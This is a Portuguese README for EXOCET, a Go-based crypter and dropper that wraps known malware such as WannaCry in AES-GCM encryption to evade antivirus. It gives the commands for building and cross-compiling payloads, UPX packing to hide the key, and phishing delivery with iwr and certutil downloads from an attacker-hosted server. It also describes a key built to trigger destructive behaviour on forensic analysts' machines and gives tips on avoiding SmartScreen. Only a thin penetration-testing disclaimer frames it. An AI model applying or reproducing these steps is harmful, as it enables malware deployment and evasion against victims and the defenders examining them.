EXOCET - Ferramenta de entrega de payload com evasão de AV e indetectável
Chang Tan
Certificado AWS Cloud Practitioner e Solutions Architect Associate
[email protected]
Certifique-se de empacotar seus payloads para evitar qualquer vazamento da chave do crypter e frustrar ainda mais os analistas de malware. Não é necessário um empacotador comercial de alto nível como Themida. Isso levantaria ainda mais suspeitas sem algo como um certificado de assinatura de código. Sem certificado de assinatura de código, em sistemas Windows, o SmartScreen é acionado automaticamente. Esta é a regra para todos os programas potencialmente indesejados ou "PUPs", ou seja, todos os payloads de malware, beacons, geacons, trojans de acesso remoto, etc., exigem um certificado de assinatura de código. Seu dinheiro é melhor gasto na compra de um certificado de assinatura de código do que em algum empacotador de alto nível.
go run exocet.go malware.exe outputmalware.go
env GOOS=windows GOARCH=amd64 build -ldflags "-s -w" outputmalware.go
upx --best outputmalware.exe
Então, solte o payload no seu alvo. Usando algo como um e-mail de phishing, link, ou se você já tiver acesso ao shell, entregue-o usando algo como hospedar seu próprio servidor localmente
python -m http.server 80'
e então, na máquina que você está comprometendo, execute como um prompt do powershell
iwr -Uri "http://yourip/outputmalware.exe" -OutFile "NotMalware.exe"
ou
certutil.exe -urlcache -split -f http://yourip/outputmalware.exe
e então execute com outputmalware.exe
O EXOCET é superior aos módulos "Evasive Payloads" do Metasploit, pois o EXOCET usa AES-256 no Modo GCM (Galois/Counter Mode). Os Payloads de Evasão do Metasploit usam uma criptografia RC4 fácil de detectar. Enquanto o RC4 pode descriptografar mais rápido, o AES-256 é muito mais difícil de determinar a intenção do malware.

No entanto, é possível usar o Metasploit para construir um Payload Evasivo e, em seguida, encadeá-lo com o EXOCET. Assim, o EXOCET descriptografará via AES-256 e, em seguida, o Payload Evasivo do Metasploit se descriptografa do RC4.
Assim como meu projeto anterior, DarkLordObama, este kit de ferramentas é projetado para ser um veículo de entrega/lançamento, assim como o Veil-Evasion faz.
No entanto, o EXOCET não está limitado a uma única base de código ou plataformas que executam Python. O EXOCET funciona em TODAS as plataformas e arquiteturas suportadas pelo Go.
EXOCET é efetivamente um dropper de malware do tipo crypter que pode reciclar payloads facilmente detectáveis como WannaCry, criptografá-los usando AES-GCM (Modo Galois/Counter), que é mais seguro que AES-CBC, e então criar um arquivo dropper para a maioria das arquiteturas e plataformas existentes.
Basicamente...
Isso significa arquiteturas de 32 bits e 64 bits, e funciona em Linux, Windows, Macs, Unix, Android, iPhone, etc. Você pega qualquer coisa, e quero dizer QUALQUER COISA, como o Verme Morris de 1988 que quase derrubou a internet (que explorou uma falha no daemon de escuta fingerd no UNIX), e a torna uma arma cibernética viável novamente.
O EXOCET é escrito inteiramente em Go.
O EXOCET, independentemente de qual binário você usa para executá-lo, requer Golang para funcionar. Por padrão, ele gera um arquivo .go de criador de criptografia.
sudo apt-get update && sudo apt-get install -y golanggo get github.com/tanc7/EXOCET-AV-Evasiongo run EXOCET.go detectablemalware.exe outputmalware.go
Uma chave é gerada automaticamente para você. A chave tem 64 caracteres de comprimento e é inteiramente composta por redirecionadores de pipe de shell do bash e cmd.exe para confundir e interromper tentativas de força bruta contra a chave, causando comportamento imprevisível e destrutivo no dispositivo do analista forense.
Para alvos Windows 64 bits...
env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.exe outputmalware.go
E sai um arquivo outputmalware.exe
Para alvos MacOS 64 bits
env GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.macho outputmalware.go
Para alvos Linux 64 bits
env GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.elf outputmalware.go
Consulte esta referência no github para seus parâmetros para outros sistemas operacionais, como Android Referência para Compilação Cruzada Go
Observe que a chave ainda pode ser encontrada com o comando strings, por favor, use o comando upx-ucl para empacotar o binário e ocultar a chave.
Além disso, existem binários pré-construídos que eu fiz, ou seja, você só precisa executar ./EXOCET ou EXOCET-Windows.exe
Eu, Chang Tan, e os criadores do módulo principal e submódulos do Exocet e os pacotes que ele incorpora NÃO somos responsáveis pelo uso indevido desta ferramenta. Esta é meramente uma ferramenta de teste de penetração. É estritamente proibido implantar binários de saída do Exocet contra sistemas protegidos não autorizados ou sistemas governamentais protegidos não autorizados.
Estou ciente de que atores de ameaças do APT41 e do NSO Group usaram e/ou adotaram código desta ferramenta, particularmente o método go-memexec. Se eu for abordado por Investigadores Federais sobre o uso indevido desta ferramenta, não estou assumindo responsabilidade.
Isso é o mesmo que aconteceu com os desenvolvedores do Mimikatz e do PowerShell Empire (que depreciaram seu próprio desenvolvimento ao perceberem seu uso entre atores de ameaças). Os sucessores retomaram o desenvolvimento do Empire, e existem alternativas gratuitas como o Covenant C2.
Em 4 de maio de 1982, durante a Guerra das Malvinas, um esquadrão de Super Etendards argentinos lançou um míssil Exocet fabricado na França contra o HMS Sheffield. Apesar das tentativas da Marinha Real de parar o míssil, um atingiu, afundando o Sheffield. Esse incidente literalmente colocou a Argentina no mapa como uma demonstração de força contra um poder colonial global.